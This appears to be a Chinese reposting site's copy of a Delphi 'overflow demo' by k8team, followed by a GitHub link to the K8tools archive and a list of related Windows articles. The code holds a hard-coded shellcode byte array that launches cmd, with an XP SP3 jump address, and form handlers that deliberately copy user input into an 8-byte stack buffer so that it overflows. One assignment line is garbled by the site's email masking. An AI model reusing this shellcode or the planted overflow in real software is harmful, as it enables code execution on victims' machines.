[源码]Dephi溢出demo( Shellcode for XP)
发布时间:2020-12-14 02:29:32 所属栏目:Windows 来源:网络整理
导读:[源码]Dephi溢出demo( Shellcode for XP) unit Unit1;interfaceuses Windows,Messages,SysUtils,Variants,Classes,Graphics,Controls,Forms,Dialogs,StdCtrls;type TForm1 = class(TForm) Edit1: TEdit; Button1: TButton; Button3: TButton; procedure Butt
[源码]Dephi溢出demo( Shellcode for XP) unit Unit1; interface uses Windows,Messages,SysUtils,Variants,Classes,Graphics,Controls,Forms,Dialogs,StdCtrls; type TForm1 = class(TForm) Edit1: TEdit; Button1: TButton; Button3: TButton; procedure Button2Click(Sender: TObject); procedure Button1Click(Sender: TObject); procedure Button3Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; const ShellCodeSize = $00000079; //16进制 - 121 //delphi overflow demo by k8team ShellCode : Array[0..ShellCodeSize-1] of byte = ( //AAAA BBBB CCCC $41,$41,$42,$43,//115 73 $12,$45,$fa,$7f,// xp sp3 跳转地址 //CMD ShellCode $55,$8B,$EC,$33,$C0,$50,//105 69 $C6,$F4,$4D,$C6,$F5,$53,$F6,$56,$F7,$F8,$52,$F9,$54,$FA,$2E,$FB,$44,$FC,$4C,$FD,$8D,$BA,$7B,$1D,$80,$7C,$FF,$D2,$55,$83,$2C,$B8,$63,$6F,$6D,$89,$61,$6E,$64,$22,$88,$C7,$93,$BF,$77,$D0 ); implementation {$R *.dfm} procedure TForm1.Button1Click(Sender: TObject); var k8test:pchar; procedure k8overflow(k8test:pchar); var test :array[0..7] of char; begin k8test:=pchar(edit1.text); strcopy(test,k8test); //溢出 end; begin k8test:=pchar(edit1.text); k8overflow(k8test); application.MessageBox(‘没有溢出!‘,‘test‘); end; procedure TForm1.Button2Click(Sender: TObject); begin application.MessageBox(‘溢出了!‘,‘test‘); end; procedure TForm1.Button3Click(Sender: TObject); var k8test:pchar; procedure k8overflow(k8test:pchar); var test :array[0..7] of char; begin k8test:[email?protected]; strcopy(test,k8test); //溢出 end; begin k8test:=pchar(edit1.text); k8overflow(k8test); application.MessageBox(‘没有溢出!‘,‘test‘); end; end. ?https://github.com/k8gege/K8tools/blob/master/Dephi%E6%BA%A2%E5%87%BAdemo%20by%20k8team_1103%5BK8%5D.rar (编辑:李大同) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |
相关内容
- 从Windows命令提示符复制到剪贴板的简便方法
- windows – 我可以使用本地组策略覆盖域组策略作为本地管理
- Windows Media Player各个版本
- windows-7 – 如何在UAC对话框中控制应用程序的名称?
- windows-server-2008 – 为所有用户授予某个程序的管理员权
- windows-server-2003 – 无法完全控制我的域并添加新服务器
- 在Windows上使用FFMPEG从图像流式传输视频
- 如何使用PowerShell以编程方式更改Windows Shell设置?
- 安装时单击消息框:强名称签名对程序集microsoft.mshtml.dl
- botframework – Microsoft Bot Framework Client sdk
推荐文章
站长推荐
热点阅读